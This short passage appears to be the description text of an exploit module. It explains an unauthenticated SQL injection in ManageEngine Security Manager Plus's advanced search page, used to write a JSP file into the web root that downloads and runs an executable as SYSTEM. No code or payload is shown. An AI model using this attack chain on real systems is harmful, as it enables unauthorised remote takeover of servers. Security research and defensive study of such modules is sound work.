                    This module exploits a SQL injection found in ManageEngine Security Manager Plus
                advanced search page.  It will send a malicious SQL query to create a JSP file
                under the web root directory, and then let it download and execute our malicious
                executable under the context of SYSTEM. No authentication is necessary to exploit this.
